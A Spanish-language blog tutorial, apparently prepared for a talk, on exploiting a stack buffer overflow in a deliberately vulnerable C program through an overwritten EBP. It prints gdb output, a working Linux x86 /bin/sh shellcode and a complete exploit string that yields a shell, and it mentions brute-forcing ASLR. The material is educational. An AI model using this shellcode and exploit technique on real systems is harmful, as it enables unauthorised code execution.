Hace momentos, haciendo unos ejercicios, para mostrar en una charla que debo dar mañana sobre Buffer Overflow, me encontre con el siguiente ejemplo. Es un programita escrito en C, que pide dos argumentos de entrada. El primer argumento no nos permite modificar ni pisar ningún registro. Solo nos deja meter datos en el Stack. El segundo argumento nos permite modificar algunos registros bastante utiles, tales como EAX, EDX, ESI y también EBP, el cual nos puede llevar a modificar el mismo EIP! y apuntarlo a donde nosotros desiemos, como puede ser nuestra shellcode.

Código de fuentes

#include <stdio.h>
#include <string.h>

fvuln(char *temp1, char *temp2)
{
   char name[512];
   strcpy(name, temp2);
   printf("Hello, %s %s\n", temp1, name);
}

int main(int argc, char *argv[])
{
   fvuln(argv[1],argv[2]);
   printf("Bye %s %s\n", argv[1], argv[2]);
   return 0;
}

Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.

La acción

Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).

Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:

(gdb) disas main
Dump of assembler code for function main:
0x08048412 :   push   ebp
0x08048413 :   mov    ebp,esp
0x08048415 :   and    esp,0xfffffff0
0x08048418 :   sub    esp,0x10
0x0804841b :   mov    eax,DWORD PTR [ebp+0xc]
0x0804841e :   add    eax,0x8
0x08048421 :   mov    edx,DWORD PTR [eax]
0x08048423 :   mov    eax,DWORD PTR [ebp+0xc]
0x08048426 :   add    eax,0x4
0x08048429 :   mov    eax,DWORD PTR [eax]
0x0804842b :   mov    DWORD PTR [esp+0x4],edx
0x0804842f :   mov    DWORD PTR [esp],eax
0x08048432 :   call   0x80483d4 
0x08048437 :   mov    eax,DWORD PTR [ebp+0xc]
0x0804843a :   add    eax,0x8
0x0804843d :   mov    ecx,DWORD PTR [eax]
0x0804843f :   mov    eax,DWORD PTR [ebp+0xc]
0x08048442 :   add    eax,0x4
0x08048445 :   mov    edx,DWORD PTR [eax]
0x08048447 :   mov    eax,0x804853e
0x0804844c :   mov    DWORD PTR [esp+0x8],ecx
0x08048450 :   mov    DWORD PTR [esp+0x4],edx
0x08048454 :   mov    DWORD PTR [esp],eax
0x08048457 :   call   0x804830c

0x0804845c :   mov    eax,0x0
0x08048461 :   leave
0x08048462 :   ret
End of assembler dump.

(gdb) disas fvuln
Dump of assembler code for function fvuln:
0x080483d4 :  push   ebp
0x080483d5 :  mov    ebp,esp
0x080483d7 :  sub    esp,0x218
0x080483dd :  mov    eax,DWORD PTR [ebp+0xc]
0x080483e0 :  mov    DWORD PTR [esp+0x4],eax
0x080483e4 :  lea    eax,[ebp-0x208]
0x080483ea :  mov    DWORD PTR [esp],eax
0x080483ed :  call   0x80482fc 
0x080483f2 :  mov    eax,0x8048530
0x080483f7 :  lea    edx,[ebp-0x208]
0x080483fd :  mov    DWORD PTR [esp+0x8],edx
0x08048401 :  mov    edx,DWORD PTR [ebp+0x8]
0x08048404 :  mov    DWORD PTR [esp+0x4],edx
0x08048408 :  mov    DWORD PTR [esp],eax
0x0804840b :  call   0x804830c

0x08048410 :  leave
0x08048411 :  ret
End of assembler dump.
(gdb) 

Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente :P ).

(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ef72b0 in strcpy () from /lib/libc.so.6

(gdb) i r
eax            0xbfffea90       0xbfffea90
ecx            0xf78f118a       0xf78f118a
edx            0x0      0x0
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffea70       0xbfffea70
ebp            0x42424242       0x42424242
esi            0xbfffea8f       0xbfffea8f
edi            0x0      0x0
eip            0xb7ef72b0       0xb7ef72b0 
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.

Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:

(gdb) break *0x080483f2
Breakpoint 1 at 0x80483f2
(gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'`
(gdb) s
Single stepping until exit from function fvuln,
which has no line number information.
Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
0xffffffff:     Error while running hook_stop:
Cannot access memory at address 0xffffffff
0xffffffff in ?? ()
(gdb) i r
eax            0x243    0x243
ecx            0xbfffea58       0xbfffea58
edx            0xb7fc7320       0xb7fc7320
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffec90       0xbfffec90
ebp            0x42424242       0x42424242
esi            0x0      0x0
edi            0x0      0x0
eip            0xffffffff       0xffffffff
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:

(gdb) bt
#0  0xffffffff in ?? ()
#1  0xbfffef00 in ?? ()
#2  0xbfffef2d in ?? ()
#3  0x0804848b in __libc_csu_init ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:

(gdb) x/700h $esp
0xbfffef10:     0x6e49  0x6573  0x7563  0x6572  0x502d  0x6f72  0x7267  0x6d61
0xbfffef20:     0x696d  0x676e  0x612f  0x6f2e  0x7475  0x6100  0x4100  0x4141
0xbfffef30:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef40:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef50:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef60:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef70:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef80:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef90:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffefa0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141

Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos NOPs (0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:

496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes

Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:

(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'`
Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0���
Executing new program: /bin/bash
sh-4.0$ 

Y bien! hemos conseguido, la shell. :D La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

Posts relacionados:

Tags: , , , , , ,

Comentar articulo:

Importante: Los comentarios son moderados.


Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.